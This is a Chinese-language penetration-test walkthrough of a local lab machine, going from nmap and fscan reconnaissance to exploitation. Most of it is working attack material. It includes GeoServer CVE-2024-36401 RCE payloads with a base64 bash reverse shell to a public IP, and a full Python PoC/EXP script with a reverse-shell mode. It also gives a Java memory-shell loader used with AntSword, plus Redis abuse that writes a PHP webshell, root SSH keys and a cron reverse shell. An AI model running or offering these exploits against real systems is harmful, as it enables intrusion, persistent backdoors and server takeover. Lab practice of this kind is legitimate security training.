一、外网渗透
(1)信息收集
A.存活主机探测
1.nmap 探测存活主机
nmap -sS -T4 -Pn 192.168.58.0/24
2.发现主机存活192.168.58.128
因为是在本地搭建的靶场(58网段),所有只有128是目标,其他是本地的其他主机(kali)
B.端口探测
1.nmap
nmap -sT -T4 -Pn -p- 192.168.58.128
-sT: 使用TCP 连接扫描
发现开放的端口,以及开启的服务
2.TxPortMap
TxPortMap.exe -i 192.168.58.128 -p 1-65535
C.服务发现
1.nmap
nmap -sV -T4 -Pn -p22,80,81,6379 192.168.58.131
-sV:用于进行服务版本探测
发现开发的服务及版本
| 端口 | 服务 | 版本 |
|---|---|---|
| 22 | ssh | OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 80 | http | nginx 1.14.0 (Ubuntu) |
| 81 | http | nginx 1.14.0 (Ubuntu) |
| 6379 | redis | Redis key-value store 2.8.17 |
2.fscan
fscan.exe -no -nopoc -nobr -h 192.168.58.128
| 端口 | 服务 | 信息 |
| 80 | Web服务 | Ngnix |
| 81 | Web服务 | Geoserver |
| 6379 | Redis服务 | Redis未授权访问 |
(2)网站信息收集
A.80端口
1.访问80端口的网站
2.分析目标网站所使用的各种技术和服务
或者使用whatweb
whatweb http://192.168.58.128
3.目录扫描
- dirsearch
- dirb
- feroxbuster
发现一个shell.php文件
B.81端口
1.访问81端口的网站
2.分析目标网站所使用的各种技术和服务
使用whatweb
whatweb http://192.168.58.128:81
3.目录扫描
没有发现特殊目录
(3)漏洞扫描
1.xray
2.nuclei
发现CVE-2023-48795漏洞
(4)漏洞利用
A.22端口
ssh 服务,尝试弱口令爆破
成功爆破出账号,密码
尝试登录,成功登录
获得服务器的ssh,可以上传后门进行长期控制
B.81端口
geoserver 2.23.2 版本
发现此版本GeoServer最近刚好暴出存在远程代码执行漏洞 – CVE-2024-36401
1.漏洞原理
GeoServer 是一个开源服务器,允许用户共享和编辑地理空间数据,依赖 GeoTools 库来处理地理空间 数据。
GeoServer 调用的 GeoTools 库 API 会以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库,该库在评估 XPath 表达式时可以执行任意代码。此 XPath 评估仅供复杂要素类型(即应用程序架 构数据存储)使用,但也被错误地应用于简单要素类型,这使得此漏洞适用于所有 GeoServer 实例。
2.影响版本
GeoServer < 2.23.6
2.24.0 <= GeoServer < 2.24.4
2.25.0 <= GeoServer < 2.25.2
3.漏洞验证(POC)
使用DNSLog平台获取子域名
https://www.callback.red/
- curl 请求 dnslog 平台
POST /geoserver/wfs HTTP/1.1
Content-Type: application/xml
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/><wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'curl xxxx.dnslog.cn')
</wfs:valueReference>
</wfs:GetPropertyValue>
发现dnslog没有回显
4.漏洞EXP
- Bash反弹shell
POST /geoserver/wfs HTTP/1.1
Content-Type: application/xml
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/><wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash%20-c%20{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}')
</wfs:valueReference>
</wfs:GetPropertyValue>
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvMjM0NSAwPiYx
进行base64解码后:
bash -i >& /dev/tcp/124.71.45.28/2345 0>&1
5.CVE-2024-36401.py
from time import sleep
import requests
import random
import base64
import argparse
session = requests.Session()
body = """<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'COMMAND')
</wfs:valueReference>
</wfs:GetPropertyValue>
"""
header = { "Content-Type": "application/xml" }
def getdomain():
try :
ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100
000,999999)),timeout=10).text
except Exception as e:
print(f"getdomain error: {e}")
pass
return ret
def getrecord():
try :
ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(10
0000,999999)),timeout=10).text
except Exception as e:
print(f"getrecord error: {e}")
pass
return ret
def poc(url):
url = f"{url}/geoserver/wfs"
domain = getdomain()
cmd = f"curl mingy.{domain}"
data = body.replace("COMMAND", cmd)
try:
r = session.post(url, headers=header, data=data, timeout=10)
sleep(5)
print("[!] 正在发送请求...")
if "mingy" in getrecord():
print("[+] Found CVE-2024-36401 vuln: " + url)
return True
else:
print("[-] Not found CVE-2024-36401 vuln: " + url)
return False
except Exception as e:
print("[-] Not found CVE-2024-36401 vuln: " + url)
return False
def exp(url):
url = f"{url}/geoserver/wfs"
rev_ip = input("[+] Enter your reverse shell ip: ")
rev_port = input("[+] Enter your reverse shell port: ")
bash_cmd = f"bash -i >& /dev/tcp/{rev_ip}/{rev_port} 0>&1"
b64_cmd = base64.b64encode(bash_cmd.encode()).decode()
cmd = f"bash -c {{echo,{b64_cmd}}}|{{base64,-d}}|{{bash,-i}}"
r = session.post(url, headers=header, data=body.replace("COMMAND", cmd), timeout=10)
print("[+] Exploit success!")
def main():
p = argparse.ArgumentParser(description='CVE-2024-36401 POC/EXP')
p.add_argument('-u', dest='url', type=str, help="url to test")
p.add_argument('-m', dest='model', type=str, help="model : poc or exp")
args = p.parse_args()
url = args.url
model = args.model
if not url:
print("please set url, -u url")
if not model:
print("please set model, -m poc/exp")
elif model == 'poc':
poc(url)
elif model == 'exp':
exp(url)
# if poc(url):
# exp(url)
if __name__ == "__main__":
main()
目标系统无法直接利用成功
6.利用 geoserver 写内存马
- 内存马生成工具:
https://github.com/pen4uin/java-memshell-generator
复制生成的 base64 字符串放到如下代码 str=" base64代码 " 处
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>
构造 POST 请求执行代码,成功写入内存马
如果写入不成功,可以让内存马工具重新生成一个内存马。
7.AntSword 连接内存马
右键选择添加数据,基础配置如下:
URL地址:http://192.168.58.128:81/geoserver/
连接密码:ant
编码设置:UTF8
连接类型:JSP
请求信息配置如下:
Name:Refer
Value:mingy
测试连接,显示连接成功:
点击即可进入文件管理器
右键打开虚拟终端
成功获取81端口的目标服务器权限
注意:内存马是存在于系统运行的内存中,一旦终止运行,内存马就会失效,需要再次写入。
C.6379端口
在之前的信息收集中可知,有redis未授权访问漏洞。
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。
- 验证漏洞是否存在
redis-cli -h 192.168.58.128
输入info有redis的信息,说明漏洞成功利用
- 利用思路:
可以通过数据备份功能往网站根目录写入后门文件,如;webshell,定时任务。
- 利用方法:
1)通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
2)通过redis数据备份功能写定时任务,通过定时任务反弹Shell
3)通过redis数据备份功能写SSH公钥,实现免密登录linux服务器
- 写webshell:
条件:
1. 知道网站根目录绝对路径
2. 对目标网站根目录有写入权限
写入webshell:
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST[‘cmd’]);?>"
save
访问shell.php,发现405不允许,所以无法使用webshell
- 写SSH公钥:
条件:
-
目标服务器开放ssh服务端口
-
需要以root用户启动redis服务,redis才有权限写入ssh公钥:/root/.ssh
利用过程:
1.生成SSH密钥
ssh-keygen -t rsa
默认情况下,生成的SSH 密钥在用户家目录的 .ssh 目录下
3. 在 id_rsa.pub 公钥内容前后加入换行符,保存到 /tmp/foo.txt 文件(加入换行符用于分隔公钥与其它数据,防止公钥执行失败)
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
4. 读取 /tmp/foo.txt 文件内容,存入redis中
cat /tmp/foo.txt | redis-cli -h 192.168.58.128 -x set m
- 将redis中的m(公钥)存入目标服务器的authorized_keys文件中
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
- 尝试进行免密登录,成功获取目标服务器root权限
ssh root@192.168.58.128
- 写定时任务反弹shell
条件:
-
需要目标主机有cron定时任务服务
-
知道定时任务所在的目录
漏洞利用:
1.写入定时任务
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.58.129/7777 0>&1\n\n"
save
2.将反弹shell写入服务器中
3.开启监听,获取服务器权限
nc -lnvp 7777
这里无法收到连接